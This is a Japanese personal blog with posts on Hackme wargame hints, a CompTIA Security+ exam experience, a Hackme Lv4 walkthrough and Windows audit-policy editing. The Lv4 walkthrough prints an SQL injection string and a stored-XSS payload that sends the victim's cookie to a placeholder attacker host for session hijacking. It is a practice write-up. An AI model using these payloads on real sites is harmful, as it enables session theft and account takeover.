ひとこと

― 今日のひとこと ―
年に1回くらい、EVE Onlineやりたくなるのよね。
(2025.12.24)

2016年2月24日水曜日

Hackme攻略 - Lv別ヒント -

「糸口すらつかめねえ・・・でも答えは自力で導き出したい!」というハイエンドなあなたに朗報
HackmeのLv1からLv4までのヒントだけを書いておく。Lv5は知りません。

ヒントといってもいくつかのキーワードだけ。
しかし、もし基礎知識が充分であれば、それだけでも突破口は見えてくるはず。


■Lv1
・ソースコード

■Lv2
・データベース
・サニタイジング

■Lv3
・URL
・passwdファイル

■Lv4
・スクリプト
・サニタイジング
・Cookie
・セッション


健闘を祈る!

2016年2月20日土曜日

CompTIA Security+について

CompTIA Security+を受験しました。

会社の方針で、毎年1つ以上は講習会や資格試験を受けることが推奨されており
資格手当の対象になっていて日本語で受験できるこの試験を選んだのだ。

資格試験を受けるのなんていつ以来だろう。
最後に受けたのがネットワークスペシャリストだから・・・約2年4か月振りだな。



■試験の概要
試験を主催しているのはCompTIAという団体。
30年以上前にアメリカで発足し、今では全世界でITスキルの認定試験を運用しているとか。
それゆえ海外でも資格試験の知名度が高いらしい。

Security+はセキュリティに重点を置いた試験。
ITSSではLv2に位置している。

900点満点のうち750点(正答率83.4%)以上で合格。
正答率のハードルがやたら高い。

CBT方式なので各地の試験センターで受験可能。
日本語にも対応している。

2016年5月まで、
1度不合格になっても2回目の受験料は無料というキャンペーンをやっているらしい。
受験料は3万円以上するので嬉しいといえば嬉しい。


■受験の感触
ITSS Lv2というと基本情報技術者試験と同じだし、自分はセキュリティの分野だとITSS Lv4の情報セキュリティスペシャリスト試験にも合格しているので、正直「こんなん余裕やろ」と思っていた。

インターネット上で予想問題を解いてみてもその感想は変わらなかったが・・・
いざ受験してみると回答に悩む問題が多かった。

「ビッシング」とか「ホエーリング」とか、片仮名表記はわかり辛いんだよな。。
日本語の文章が曖昧なところもあったが、原文(英語)の問題文も表示できるので助かった。

そして何より戸惑ったのが『シミュレーション問題』である。
Security+は四択式だと聞いていたんだけど、シミュレーション問題では選んだり入力したり。
ファイアウォールに設定するSCPのポート番号とか覚えてねえ。20番付近だったのは覚えてるけど・・・
実際の現場ではちゃっちゃとネットで調べて終わりだからな。
最初の5問がその『シミュレーション問題』で、ひょっとして全部こうなの?と不安になってしまった。

全66問のうち選択式の問題は61問だった。複数選択もいくつか。

結果は783点(正答率87%)だった。あぶねえ。。
まぁ合格できたからよしとしよう。

終わった後の感覚としては、正答率のハードルは高いが
「まぁ確かにLv2だな」という感じ。

まったくの素人が独学するとなると数か月かかりそうだけど、
技術者としての経験とセキュリティやネットワークの教養があれば2週間のおさらいで充分。


■勉強方法
出題範囲はセキュリティとネットワークで、
セキュリティでは技術分野だけでなく運用や管理についても広く問われる印象。

ネットワークについては基礎を押さえておくだけでよさそうで、
自分はネットワークスペシャリスト合格時の知識がまだ残っているので無勉。
これで特に困ることはなかった。

セキュリティについては、
情報処理技術者試験と違ってベンダ依存の技術についても出題されるし、
機器(アンテナの種類とか)に関する問題も出たので、
受験するにあたって改めて勉強しておいた方がいいと思う。

自分が使ったのはTACの参考書だけ。
360ページくらい。2週間ほど昼休みにめくって読破。
これ1冊で出題範囲はほぼカバーされているが、
載っていないこともちょくちょく出題されたので過信は禁物である。
あとところどころ「外人が書いたのか?」ってくらい日本語がおかしくて
読んでて苛々することがある。

ちなみにTACの書籍通販サイトで参考書とチケットのセットを買うとだいぶお得である。



横浜の試験センターで受験した後、
そごうでAshleigh & Burwoodのフレグランスランプを買った。いいにおい。




[2016.02.21 追記]
20日(土)の14時に受験して、
21日(日)の11時にはもう認定証とロゴをダウンロードできるようになってた。
まぁセキュリティ業界の技術者としてはCCIEクラスじゃないと名刺にロゴ載せられないと思うけど。。
昔取ったOracle Masterでは認定カードみたいなものが送られてきてた気がする。
海外の試験はこーいうのあるから少し嬉しいよね。

2016年1月21日木曜日

Hackme攻略 Lv4

3年振りくらいか?Hackmeに再挑戦。Lv4を攻略する。



以下、Hackmeの攻略に関するネタバレを多大に含みます。自力で攻略したいなら見ちゃだめです。




[Lv4]




1.ヒントを探す

URLやソースコードには特に手掛かりなし。
とりあえずフォームでのXSSとSQLインジェクションを試してみるか。

ID :
<script>alert("test")</script>
Password :
' or 1=1--

でログインを試みる。結果は・・・

まぁ失敗ですよね。フォームから攻撃するわけではなさそうだ。

なぜだか知らないがアクセスログが表示されている。
ログインに失敗したユーザの接続元IPアドレスまたはログインに成功したユーザのユーザ名と、
ユーザが送信したUser-Agentが表示されている。


2.考える

表示されたログを読み解くと、どうやらfoobarというユーザはまだログアウトしていないようだ。
それをわざわざ明示するあたり、これはセッションハイジャックせよということなのだろう。

セッションを奪うにはターゲットとするユーザのセッションIDを知る必要がある。
セッションIDはCookieに記録されるので、どうにかしてターゲットのCookieの値を窃取すればいいわけだ。
Webアプリケーションでサニタイジングが適切に行われていなければ、
HTTPリクエストにスクリプトを混入させることでXSSを実行してCookieの値を盗み出すことができるかもしれない。

しかし、その場合に重要なのは
「XSSではクライアントPC上でスクリプトが実行される」「Cookieは通信の度にやりとりされる」
ということだ。

つまり、今回foobarのセッションIDを窃取してセッションハイジャックを成功させるには、
以下の条件をクリアしなければならないわけだな。

A :
HackmeのWebページにスクリプトを埋め込むことが可能であること
B :
Aをクリアした上で、スクリプトが埋め込まれたWebページにfoobarがアクセスし、
foobarのPCでスクリプトが実行されること

無理じゃん。
foobarは問題のために便宜的に用意されたユーザであって、実在しないんだろ。
サーバ側で実行されているプログラムのメモリダンプか何かから有効なセッションIDを探せとでも?
まさかそんな壮絶に面倒くさいことにはならないよな・・・

何か見落としてはいないだろうか。過去の問題を思い起こした。
そういえば、Lv2も解いてて少し引っかかったんだよな。
結局すごく単純な条件文でSQLインジェクションできたけど、
あれだってもっと複雑なSQL文で問い合わせたりその結果をプログラムで検証されたりしていたら、
あんなにすんなりクリアすることはできなかったはずだ。
つまるところHackmeは、今やあまり現実的でない構成に思えるほど挑戦者に親切な、
あくまでゲーム的な楽しみを提供するためのサイトなのではなかろうか・・・

とりあえず深く考えず、思いついたことを試してみようか。
条件Bはひとまず無視して、条件Aについて考えよう。

画面には、ユーザ名またはIPアドレスとUAが過去5件分表示されている。
過去5件分が表示されるということは、自分が改竄した内容が後の数人にも表示される
(=後の数人に対してXSSが有効である)可能性があるということだ。

スクリプトを埋め込めそうな箇所はないか?

ユーザ名はサーバ側で管理されているはずだから却下。
IPアドレスは、IPパケットの送信元IPアドレス部を詐称することは可能だがそうするとレスポンスを受け取れないし、そもそもスクリプトを書けるほどデータを格納できないので却下。
User-AgentはHTTPリクエストのヘッダを書き換えればいいし、簡単なスクリプトを格納できる程度のデータ量は許容される。こいつがあやしい。


3.検証する

User-Agentにスクリプトを埋め込み、それが実行できるかどうかを確認する。
HTTPリクエストを書き換える方法は色々あるが、今回はFirefoxのアドオンである『UAControl』を使った。


再度ログインしてみると・・・

・・・自分が意図したものとは違うが、XSSが可能だそうだ。
まぁ本当にできてしまうとHackmeのサイト自体が危険ってことになりかねないから、何らかのコントロールを行っているのだろう。
ログの表示を見た感じではWebページの改竄もできている?



4.Hackyou!

ではCookieの値を窃取するスクリプトを送ってみよう。
ブラウザで動作するスクリプトといえばJavaScriptだが、
自分はJavaScriptに明るくないのでどんな処理が可能なのかはよく知らない。
本当にalertとdocument.cookieくらいしか知らないからな。でもやるべきことは決まっている。
foobarがアクセスしてきた時に、そのCookieの値をこちらが管理する端末に送信させればいいのだ。

具体的には、スクリプトでWebページを移動したり読み込んだりして、パラメータにCookieの値を持つHTTPリクエストが自分の元に届けばいい。
<img src="http://{自分のIP}/a?b="+{foobarのcookie} height="1" ookie="" width="1" />
とか
<iframe foobar="" height="1" ookie="" src="http://{自分のIP}/a?b="+{foobarのcookie} width="1"></iframe>


とかでもいいのかもしれないけど、JavaScriptだけを使う方がシンプルに書けそうだ。
JavaScriptでWebページを移動するには「document.location="{移動先のURL}"」と書くらしいので、これを使って次のスクリプトを送ってみよう。
これでいけそうなら一時的にサーバを稼働させて、パケットをキャプチャしてみるか。。
<script>document.location="http://{自分のIP}/a?b="+document.cookie;</script>
再びUser-Agentを書き換えてログインしてみる。


すると・・・

なんかでた!!!

というかやっぱりこういう感じなのね・・・
Hackmeには挑戦用のアカウントでログインしてるからそのセッションIDは変えられないし、
これならサーバを用意しなくてもいいからね。なんかちょっと残念な具合だけどね。


いま表示された値をCookieに追加する。これも方法は色々だがFirefoxのアドオン『Firebug』を使った。


再度ログインすると・・・


Lv4クリア!



これでいいのか?って感じはするけど解けてよかった
でもどっと疲れたぞ・・・

2015年11月14日土曜日

システム監査ポリシーをプログラムで編集したい

Windows Server 2012をいじっていて、監査ポリシーの設定について調べたこと。
ちなみに僕が編集したかったのは「詳細なファイル共有」「ログオン」「ログオフ」あたりで、成功の監査を有効にできないか模索した。


■監査ポリシーの設定がしばらくすると元に戻る・・・なにこれ・・・
secpol.mscのGUIで変更した内容はそのまま残るのに、
auditpolコマンドで変更した場合はなぜかしばらくして無効化されるという事態が発生。
しかもauditpolコマンドで変更した内容はsecpol.mscの画面には反映されない。
なぜだ?

→secpol.mscに表示されるのはセキュリティポリシーではなくグループポリシーだった!
(参考:https://support.microsoft.com/en-us/kb/2573113)

なにそれ。secpol.mscのウィンドウタイトルは「ローカル セキュリティポリシー」なのに。
ややこしいんだよ・・・
つまりsecpol.mscのGUIでセキュリティポリシーを変更したと思っていたが実はグループポリシーを変更していて、auditpolコマンドではセキュリティポリシーを編集していたってことだな。

ちなみにグループポリシーに上書きされるタイミングは「OS起動」「一定時間経過」など。
(参考:https://technet.microsoft.com/ja-jp/library/cc179176.aspx)

■セキュリティポリシーとグループポリシーの違いは?
まず適用の優先度が違うらしい。
セキュリティポリシーよりグループポリシーの設定が優先されるとか。
そしてグループポリシーはネットワークの管理者により一元管理できるもので、
セキュリティポリシーは各端末で個別に設定できるものとかなんとか。
セキュリティポリシーがグループポリシーに上書きされるのを防ぐこともできるらしいが、
正直よくわかってない。少なくともコマンドやプログラムでそうするのは難しそうだ。

プログラムでポリシーを変更したいなら、
要は端末に記録されたグループポリシーの設定を変えればいいってことだよね。
セキュリティポリシーだけ変えても上書きされるからね。


■グループポリシーを自動変更する方法
まず、ポリシーを変更する方法として4つの手段を試してみた。

①auditpolコマンドでサブカテゴリを編集
→auditpol.exe /set /subcategory:"詳細なファイル共有" successful:enableとかそんな感じのコマンドで直接編集したがグループポリシーに無慈悲な上書きを受け失敗。

②seceditコマンドで設定ファイルをインポート
→設定ファイルをエクスポートして好き勝手編集した後インポートするという企て。セキュリティポリシーしか変更できないと気付き頓挫。

③auditpolコマンドで設定ファイルをインポート
→auditpol /backup /file:{ファイル名}で設定ファイルをエクスポートして思うさま編集した後/resotreでインポートするという計画。これもグループポリシーに上書きされ失敗。

④gpupdateコマンドで設定ファイルを反映
→結論から書くと成功。やったぜ!手順は後述


■gpupdateでの設定ファイル反映の手順
もちろん管理者権限を使います。システム権限で実現できるかどうか確認してない。

1.まず現在の設定をエクスポートする。auditpol /backup /file:{ファイル名}
2.エクスポートした設定ファイルをプログラムで編集する。
設定ファイルはCSV形式。編集したいサブカテゴリのGUIDをキーにして1行ずつチェックしていき、
合致するGUIDを持つ行の「InclusionSetting」と「SettingValue」の列の値を、
それぞれ「成功」「1」に書き換える。
3.グループポリシーを上書きする。
グループポリシーの設定ファイルは↓のパスに格納されている。
%SYSTEMROOT%\system32\GroupPolicy\Machine\Microsoft\Windows NT\Audit\Audit.csv
このaudit.csv削除または移動し、2で編集したファイルを新たに格納する。
4.グループポリシーを強制反映する。gpupdate /force

これでグループポリシー(ローカルグループポリシー)を思うがままに編集できた。

(実装した後に気付いたんだけど、1はauditpolでエクスポートなんかしなくてもグループポリシーのファイルをコピーしてくればよかったんだよな。)

注意すべきこと。グループポリシーとセキュリティポリシーの設定ファイルの位置。
グループポリシーは上述の通りだがセキュリティポリシーは↓
C:\Windows\security\audit\audit.csv

どちらもaudit.csvなんだよな。ややこしい・・・
しかもそれぞれで言語が違う。動作に影響はないみたいだけどほんと統一感ないよな

ちなみにauditpolでサブカテゴリを直接編集したりすると、セキュリティポリシーのファイルだけが更新される。
その後gpupdateを実行するとグループポリシーのファイルでセキュリティポリシーのファイルが上書きされていた。



(2015.12.11追記)
auditpol /backupではなくグループポリシーのaudit.csvを編集してgpupdateするようにしてみたけどうまく動いた。
ただ、そことは直接は関係ないが問題が1点発覚。

OSインストールしたばかりであるなど、gpedit.mscなどのツールで1度もグループポリシーを編集していない状態だと、上記プログラムを実行すると「グループポリシーはうまく変更できているがセキュリティポリシーが変更されない」というおかしなことになるのだ。
gpedit.mscやsecpol.mscの画面上は変更されているように見えても、auditpol /get /subcategory"詳細なファイル共有"などで確認すると「監査なし」となっている。

それというのも、ツールで編集するまではグループポリシーのaudit.csvとセキュリティポリシーのaudit.csvが存在しない(作られない)ので、グループポリシーのaudit.csvを作ってgpupdateしても本来反映先となるはずのセキュリティポリシーが存在しないことが原因らしい。

ではセキュリティポリシーのaudit.csvも生成すればいいのでは?と実験してみたがこれではだめだった。

auditpol /restoreでグループポリシーのaudit.csvをセキュリティポリシーとしてリストアしたらうまくいった。